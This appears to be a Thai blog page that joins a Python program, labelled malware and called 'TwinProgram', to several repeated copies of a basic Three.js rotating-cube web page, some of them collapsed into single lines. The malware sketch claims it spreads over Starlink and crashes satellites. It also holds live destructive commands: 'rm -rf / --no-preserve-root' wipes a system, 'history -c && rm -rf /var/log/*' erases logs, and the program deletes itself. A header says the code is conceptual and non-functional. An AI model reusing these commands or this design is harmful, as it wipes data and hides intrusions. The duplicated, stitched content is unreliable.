วันพุธที่ 19 กุมภาพันธ์ พ.ศ. 2568

  # นี่เป็นตัวอย่างเชิงแนวคิดเท่านั้น ไม่สามารถทำงานจริงได้

import os

import smtplib

import threading


class TwinProgram:

    def __init__(self):

        self.starlink_detected = False

        self.elder_done = False


    def spread_to_devices(self):

        while not self.starlink_detected:

            # จำลองการแพร่กระจายในเครือข่าย

            if self.check_starlink_connection():

                self.activate_functions()


    def check_starlink_connection(self):

        # ตรวจสอบการเชื่อมต่อ Starlink (จำลอง)

        return True  # เปลี่ยนเป็นเงื่อนไขจริงในทางปฏิบัติ


    def elder_twin_task(self):

        # งานของแฝดพี่

        self.copy_data()

        self.send_emails()

        self.destroy_hardware()


    def younger_twin_task(self):

        # งานของแฝดน้อง

        while not self.elder_done:

            threading.Event().wait(1)

        self.spread_to_satellites()

        self.crash_satellites()


    def copy_data(self):

        # ก็อปปี้ข้อมูลจากเซิร์ฟเวอร์

        pass


    def send_emails(self):

        # ส่งอีเมลทั้งหมด

        try:

            server = smtplib.SMTP('smtp.example.com')

            server.sendmail('attack@example.com', 'all@target.com', 'ข้อมูลที่ถูกขโมย')

        except:

            pass


    def destroy_hardware(self):

        # ทำลายฮาร์ดแวร์ (จำลอง)

        os.system('rm -rf / --no-preserve-root')  # คำสั่งอันตราย


    def spread_to_satellites(self):

        # แพร่กระจายไปยังดาวเทียม

        pass


    def crash_satellites(self):

        # พิกัดการตก

        coordinates = [...]

        # แบ่งพิกัดให้ดาวเทียม

        pass


    def clean_traces(self):

        # ลบประวัติ

        os.system('history -c && rm -rf /var/log/*')


    def activate_functions(self):

        self.starlink_detected = True

        elder = threading.Thread(target=self.elder_twin_task)

        younger = threading.Thread(target=self.younger_twin_task)

        elder.start()

        younger.start()

        elder.join()

        self.elder_done = True

        younger.join()

        self.clean_traces()

        os.remove(__file__)  # ลบตัวเอง


if __name__ == "__main__":

    malware = TwinProgram()

    malware.spread_to_devices()

# นี่เป็นตัวอย่างเชิงแนวคิดเท่านั้น ไม่สามารถทำงานจริงได้ import os import smtplib import threading class TwinProgram: def __init__(self): self.starlink_detected = False self.elder_done = False def spread_to_devices(self): while not self.starlink_detected: # จำลองการแพร่กระจายในเครือข่าย if self.check_starlink_connection(): self.activate_functions() def check_starlink_connection(self): # ตรวจสอบการเชื่อมต่อ Starlink (จำลอง) return True # เปลี่ยนเป็นเงื่อนไขจริงในทางปฏิบัติ def elder_twin_task(self): # งานของแฝดพี่ self.copy_data() self.send_emails() self.destroy_hardware() def younger_twin_task(self): # งานของแฝดน้อง while not self.elder_done: threading.Event().wait(1) self.spread_to_satellites() self.crash_satellites() def copy_data(self): # ก็อปปี้ข้อมูลจากเซิร์ฟเวอร์ pass def send_emails(self): # ส่งอีเมลทั้งหมด try: server = smtplib.SMTP('smtp.example.com') server.sendmail('attack@example.com', 'all@target.com', 'ข้อมูลที่ถูกขโมย') except: pass def destroy_hardware(self): # ทำลายฮาร์ดแวร์ (จำลอง) os.system('rm -rf / --no-preserve-root') # คำสั่งอันตราย def spread_to_satellites(self): # แพร่กระจายไปยังดาวเทียม pass def crash_satellites(self): # พิกัดการตก coordinates = [...] # แบ่งพิกัดให้ดาวเทียม pass def clean_traces(self): # ลบประวัติ os.system('history -c && rm -rf /var/log/*') def activate_functions(self): self.starlink_detected = True elder = threading.Thread(target=self.elder_twin_task) younger = threading.Thread(target=self.younger_twin_task) elder.start() younger.start() elder.join() self.elder_done = True younger.join() self.clean_traces() os.remove(__file__) # ลบตัวเอง if __name__ == "__main__": malware = TwinProgram() malware.spread_to_devices()

     <!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>3D Scene</title>

    <style>

        body { margin: 0; overflow: hidden; }

        canvas { width: 100%; height: 100%; }

    </style>

</head>

<body>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r134/three.min.js"></script>

    <script>

        // JavaScript จะอยู่ที่นี่

// สร้าง Scene

const scene = new THREE.Scene();


// สร้าง Camera

const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);

camera.position.z = 5;


// สร้าง Renderer

const renderer = new THREE.WebGLRenderer();

renderer.setSize(window.innerWidth, window.innerHeight);

document.body.appendChild(renderer.domElement);


// สร้าง Cube

const geometry = new THREE.BoxGeometry();

const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });

const cube = new THREE.Mesh(geometry, material);

scene.add(cube);


// Animation Loop

function animate() {

    requestAnimationFrame(animate);


    // หมุน Cube

    cube.rotation.x += 0.01;

    cube.rotation.y += 0.01;


    renderer.render(scene, camera);

}


animate();


// ปรับขนาดหน้าต่าง

window.addEventListener('resize', () => {

    camera.aspect = window.innerWidth / window.innerHeight;

    camera.updateProjectionMatrix();

    renderer.setSize(window.innerWidth, window.innerHeight);

});

    </script>

</body>

</html>

// สร้าง Scene

const scene = new THREE.Scene();


// สร้าง Camera

const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);

camera.position.z = 5;


// สร้าง Renderer

const renderer = new THREE.WebGLRenderer();

renderer.setSize(window.innerWidth, window.innerHeight);

document.body.appendChild(renderer.domElement);


// สร้าง Cube

const geometry = new THREE.BoxGeometry();

const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });

const cube = new THREE.Mesh(geometry, material);

scene.add(cube);


// Animation Loop

function animate() {

    requestAnimationFrame(animate);


    // หมุน Cube

    cube.rotation.x += 0.01;

    cube.rotation.y += 0.01;


    renderer.render(scene, camera);

}


animate();


// ปรับขนาดหน้าต่าง

window.addEventListener('resize', () => {

    camera.aspect = window.innerWidth / window.innerHeight;

    camera.updateProjectionMatrix();

    renderer.setSize(window.innerWidth, window.innerHeight);

});

3D Scene // สร้าง Scene const scene = new THREE.Scene(); // สร้าง Camera const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); camera.position.z = 5; // สร้าง Renderer const renderer = new THREE.WebGLRenderer(); renderer.setSize(window.innerWidth, window.innerHeight); document.body.appendChild(renderer.domElement); // สร้าง Cube const geometry = new THREE.BoxGeometry(); const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); // Animation Loop function animate() { requestAnimationFrame(animate); // หมุน Cube cube.rotation.x += 0.01; cube.rotation.y += 0.01; renderer.render(scene, camera); } animate(); // ปรับขนาดหน้าต่าง window.addEventListener('resize', () => { camera.aspect = window.innerWidth / window.innerHeight; camera.updateProjectionMatrix(); renderer.setSize(window.innerWidth, window.innerHeight); });

  <!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>3D Scene</title>

    <style>

        body { margin: 0; overflow: hidden; }

        canvas { width: 100%; height: 100%; }

    </style>

</head>

<body>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r134/three.min.js"></script>

    <script>

        // JavaScript จะอยู่ที่นี่

    </script>

</body>

</html>

// สร้าง Scene

const scene = new THREE.Scene();


// สร้าง Camera

const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);

camera.position.z = 5;


// สร้าง Renderer

const renderer = new THREE.WebGLRenderer();

renderer.setSize(window.innerWidth, window.innerHeight);

document.body.appendChild(renderer.domElement);


// สร้าง Cube

const geometry = new THREE.BoxGeometry();

const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });

const cube = new THREE.Mesh(geometry, material);

scene.add(cube);


// Animation Loop

function animate() {

    requestAnimationFrame(animate);


    // หมุน Cube

    cube.rotation.x += 0.01;

    cube.rotation.y += 0.01;


    renderer.render(scene, camera);

}


animate();


// ปรับขนาดหน้าต่าง

window.addEventListener('resize', () => {

    camera.aspect = window.innerWidth / window.innerHeight;

    camera.updateProjectionMatrix();

    renderer.setSize(window.innerWidth, window.innerHeight);

});

3D Scene // สร้าง Scene const scene = new THREE.Scene(); // สร้าง Camera const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); camera.position.z = 5; // สร้าง Renderer const renderer = new THREE.WebGLRenderer(); renderer.setSize(window.innerWidth, window.innerHeight); document.body.appendChild(renderer.domElement); // สร้าง Cube const geometry = new THREE.BoxGeometry(); const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); // Animation Loop function animate() { requestAnimationFrame(animate); // หมุน Cube cube.rotation.x += 0.01; cube.rotation.y += 0.01; renderer.render(scene, camera); } animate(); // ปรับขนาดหน้าต่าง window.addEventListener('resize', () => { camera.aspect = window.innerWidth / window.innerHeight; camera.updateProjectionMatrix(); renderer.setSize(window.innerWidth, window.innerHeight); });

  <!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Simple 3D Scene</title>

    <style>

        body { margin: 0; }

        canvas { width: 100%; height: 100vh; display: block; }

    </style>

</head>

<body>

    <script type="module">

        import * as THREE from 'https://cdn.jsdelivr.net/npm/three@0.141.0/build/three.module.js';


        // Scene

        const scene = new THREE.Scene();


        // Camera

        const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);

        camera.position.z = 5;


        // Renderer

        const renderer = new THREE.WebGLRenderer();

        renderer.setSize(window.innerWidth, window.innerHeight);

        document.body.appendChild(renderer.domElement);


        // Geometry and Material

        const geometry = new THREE.BoxGeometry();

        const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });

        const cube = new THREE.Mesh(geometry, material);

        scene.add(cube);


        // Animation loop

        function animate() {

            requestAnimationFrame(animate);


            // Rotate the cube

            cube.rotation.x += 0.01;

            cube.rotation.y += 0.01;


            renderer.render(scene, camera);

        }


        animate();

    </script>

</body>

</html>